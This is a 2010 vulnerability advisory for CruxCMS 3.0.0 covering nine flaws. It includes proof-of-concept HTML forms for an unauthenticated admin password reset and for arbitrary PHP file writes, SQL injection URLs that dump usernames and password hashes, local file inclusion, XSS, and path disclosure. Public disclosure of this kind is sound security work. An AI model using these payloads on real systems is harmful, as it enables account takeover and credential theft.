[waraxe-2010-SA#078] - Multiple Vulnerabilities in CruxCMS 3.0.0

Author: Janek Vind "waraxe"
Date: 27. December 2010
Location: Estonia, Tartu
Web: http://www.waraxe.us/advisory-78.html

Affected Software:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

CruxCMS is a lightweight, easy to use website content management system (CMS).
It is written in PHP and uses the powerful MySQL database.

http://www.cruxsoftware.co.uk/cruxcms.php

Affected versions
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Tests were conducted against CruxCMS version 3.0.0

###############################################################################
1. Unauthorized password reset in "manager/passwordreset.php"
###############################################################################

Reason: directly accessible php script
Attack vectors: user submitted POST parameters "ID" and "Password"
Preconditions: none
Impact: attacker can take over CruxCMS admin account

Php script "manager/passwordreset.php" is directly accessible via web
without any authorization. Source code snippet:

-----------------[ source code start ]---------------------------------
include ("../includes/injectionprevention.php");

$ID = numericquery($_POST["ID"]) ;

if (isset($ID)) {

$Password = preventinjection($_POST["Password"]);
$Password2 = md5($Password);

//Connect to database
include ("../includes/dbinfo.php");

// Insert data
$sqlquery = "UPDATE " . usersdb . " SET "
."Password ='" .$Password2 ."' WHERE ID ='" .$ID ."'";

$results = mysql_query($sqlquery);
-----------------[ source code end ]-----------------------------------

Example exploit:
-------------------------------------------------------------------------------
<html>
<head><title>CruxCMS 3.0.0 Unauthorized Password Reset PoC by waraxe</title></head>
<body><center>
<form action="http://localhost/cruxcms.3.0.0/manager/passwordreset.php" method="post">
<input type="hidden" name="ID" value="1">
<input type="hidden" name="Password" value="waraxe">
<input type="submit" value="Test!">
</form>
</center></body></html>
-------------------------------------------------------------------------------

###############################################################################
2. Arbitrary file upload in "manager/processeditor.php"
###############################################################################

Reason: directly accessible php script
Attack vector: specially crafted POST request
Preconditions: none
Impact: attacker is able to write remote php files to any location.

Php script "manager/processeditor.php" is directly accessible via web
without any authorization. Source code snippet:

-----------------[ source code start ]---------------------------------
$Name = preventinjection($_POST["name"]) ;
if (isset($_POST['Type'])) {
$Type = $_POST['Type'];
}

...

$head = $_POST["head"] ;
$headlink = $Name . ".php";

if ($Type == "Add") {

...

$fileopen = fopen($headlink, 'w') or die("can't open file");
fwrite($fileopen, $head);
fclose($fileopen);
-----------------[ source code end ]-----------------------------------

Example exploit:
-------------------------------------------------------------------------------
<html>
<head><title>CruxCMS 3.0.0 processeditor.php File Upload PoC by waraxe</title></head>
<body><center>
<form action="http://localhost/cruxcms.3.0.0/manager/processeditor.php" method="post">
<input type="hidden" name="Type" value="Add">
<input type="hidden" name="name" value="../images/info">
<input type="hidden" name="head" value="<?phpinfo();?>">
<input type="submit" value="Test!">
</form>
</center></body></html>
-------------------------------------------------------------------------------
For testing first make sure, that "images" directory is writable by php.
Open html file above and click "Test!" button. After successful POST request
newly written remote file can be accessed like this:

http://localhost/cruxcms.3.0.0/images/info.php

###############################################################################
3. Arbitrary file upload in "manager/processfile.php"
###############################################################################

Reason: directly accessible php script
Attack vector: specially crafted POST request
Preconditions: none

Example exploit:
-------------------------------------------------------------------------------
<html>
<head><title>CruxCMS 3.0.0 processfile.php File Upload PoC by waraxe</title></head>
<body><center>
<form action="http://localhost/cruxcms.3.0.0/manager/processfile.php"
enctype="multipart/form-data" method="post"method="post">
<input type="hidden" name="Action" value="Add">
<input type="file" name="uploadedfile" size="40">
<input type="submit" value="Test!">
</form>
</center></body></html>
-------------------------------------------------------------------------------
For testing first make sure, that "Uploads/Misc/" directory is writable by php.
Open html file above and click "Test!" button. After successful POST request
newly written remote file can be accessed like this:

http://localhost/cruxcms.3.0.0/Uploads/Misc/info-38656.php

As seen above, random string ("38656" in this specific example) is concatenated
to the filename. For successful exploitation therefore two options exists:

a) if webserver directory listing is enabled, then filename can be easily found
b) bruteforce is possible -> ~100 000 tries needed max for filename guessing

###############################################################################
4. SQL Injection in "includes/classes/searchbox.inc.php"
###############################################################################

Reason: failure to sufficiently sanitize user-supplied input data
Attack vector: user submitted GET parameter "max"
Preconditions:
1. Search Box must be activated (active by default)
2. Search must return at least one result
Impact: attacker can fetch sensitive information from database,
including user credentials.

Source code snippet from "includes/classes/searchbox.inc.php":
-----------------[ source code start ]---------------------------------
// Define the number of results per page
$max = $_GET['max'];
if (isset($max)) {
$max_results = $max;
}
else {
$max_results = 10;
}
...
$query_fields = "p.Title p.Content";
$query = "SELECT p.Name as PName, p.Title as PTitle, p.Content as PContent, p.Archive FROM " . pagesdb . " p WHERE ";
$query = $query . boolstring2sql_query($query_fields, $query_text);
$query = $query . " AND p.Archive = 'No'";
$query = $query . " LIMIT $from, $max_results";
$query = $query . ";";
...
$sql_result = mysql_query($query , $conn) or die ("Couldn't execute query.");
-----------------[ source code end ]-----------------------------------
As seen above there is SQL Injection in "LIMIT x,y" part of the SQL query.

Example exploit:

http://localhost/cruxcms.3.0.0/search.php?search=_&max=1+UNION+ALL+SELECT+1,
CONCAT_WS(0x3a,Id,Name,Password,Email,Admin),1,1+FROM+cruxcms_users

As result we can see sensitive user data from database.

###############################################################################
5. SQL Injection in "includes/classes/links.inc.php"
###############################################################################

Reason: failure to sufficiently sanitize user-supplied input data
Attack vector: user submitted GET parameter "max"
Preconditions:
1. Link Pages must be activated (inactive by default)
2. At least one link must exist
Impact: attacker can fetch sensitive information from database,
including user credentials.

Source code snippet from "includes/classes/links.inc.php":
-----------------[ source code start ]---------------------------------
// Define the number of results per page
$max = $_GET['max'];
if (isset($max)) {
$max_results = $max;
}
else {
$max_results = 10;
}
...
$sql = "SELECT * FROM " . linksdb . " LIMIT $from, $max_results ";
$sql_result = mysql_query($sql , $conn) or die ("Couldn't execute query.");
-----------------[ source code end ]-----------------------------------
As seen above there is SQL Injection in "LIMIT x,y" part of the SQL query.

Example exploit:

http://localhost/cruxcms.3.0.0/links.php?max=1+UNION+ALL+SELECT+1,1,
CONCAT_WS(0x3a,Id,Name,Password,Email,Admin),1,0x596573+FROM+cruxcms_users

As result we can see sensitive user data from database.

###############################################################################
6. SQL Injection in "includes/classes/news.inc.php"
###############################################################################

Reason: failure to sufficiently sanitize user-supplied input data
Attack vector: user submitted GET parameter "max"
Preconditions:
1. News Pages must be activated (inactive by default)
2. At least one news must exist
3. MySQL FILE Privileges needed (rare in real-world attack scenarios)
4. Php setting magic_quotes_gpc=off needed (usually it's "On")
5. attacker must have News editing privileges
6. full path must be know to the directory, which is writable by MySQL UID/user
Impact: limited SQL Injection - if all conditions above are met, then it may be
possible writing files to the remote system, where MySQL daemon/service is installed

Source code snippet from "includes/classes/news.inc.php":
-----------------[ source code start ]---------------------------------
// Define the number of results per page
$max = $_GET['max'];
if (isset($max)) {
$max_results = $max;
}
else {
$max_results = 10;
}
...
$sql = "SELECT * FROM " . newsdb . " ORDER BY Date DESC LIMIT $from, $max_results ";
$sql_result = mysql_query($sql , $conn) or die ("Couldn't execute query.");
-----------------[ source code end ]-----------------------------------
As seen above there is SQL Injection in "LIMIT x,y" part of the SQL query.
This vulnerability differs from previous cases, because there is "ORDER BY"
before "LIMIT" in vulnerable SQL query. It renders common "UNION" attack method
useless and only exploitation possibility seems to be "INTO OUTFILE". Many
conditions are needed for such exploitation (see above), so specifix SQL
Injection case can be considered as minor one.

###############################################################################
7. Local File Inclusion in "includes/template.php"
###############################################################################

Reason: directly accessible php script
Attack vector: user submitted GET parameter "style"
Preconditions:
1. Php setting "register_globals=on" needed

Example exploit:

http://localhost/cruxcms.3.0.0/includes/template.php?style=../white.gif

###############################################################################
8. Reflected XSS in "manager/login.php"
###############################################################################

Reason: directly accessible php script
Attack vector: user submitted GET parameter "message"
Preconditions: none

Example exploit:

http://localhost/cruxcms.3.0.0/manager/login.php?message=<script>alert(123);</script>

###############################################################################
9. Full Path Disclosure in multiple php scripts
###############################################################################

Examples:

http://localhost/cruxcms.3.0.0/manager/switcher.php?style[]

Warning: setcookie() expects parameter 2 to be string, array given in
C:apache_wwwrootcruxcms.3.0.0managerswitcher.php on line 24

http://localhost/cruxcms.3.0.0/search.php?search[]

Warning: htmlspecialchars() expects parameter 1 to be string, array given in
C:apache_wwwrootcruxcms.3.0.0includesclassessearchbox.inc.php on line 40

http://localhost/cruxcms.3.0.0/manager/filetypes.php

Warning: mysql_query(): supplied argument is not a valid MySQL-Link resource in
C:apache_wwwrootcruxcms.3.0.0managerfiletypes.php on line 24

http://localhost/cruxcms.3.0.0/styles/andreas01.php

Warning: include(includes/functions.php) [function.include]: failed to open stream:
No such file or directory in C:apache_wwwrootcruxcms.3.0.0stylesandreas01.php on line 36

Greetings:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Greets to ToXiC, y3dips, Sm0ke, Heintz, slimjim100, pexli, zerobytes, vince213333,
to all active waraxe.us forum members and to anyone else who know me!

Contact:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

come2waraxe@yahoo.com
Janek Vind "waraxe"

Waraxe forum: http://www.waraxe.us/forums.html
Personal homepage: http://www.janekvind.com/
Random project: http://userguidenow.com/
---------------------------------- [ EOF ] ------------------------------------

Published on: 2010-12-27 (11834 reads)

[ Go Back ]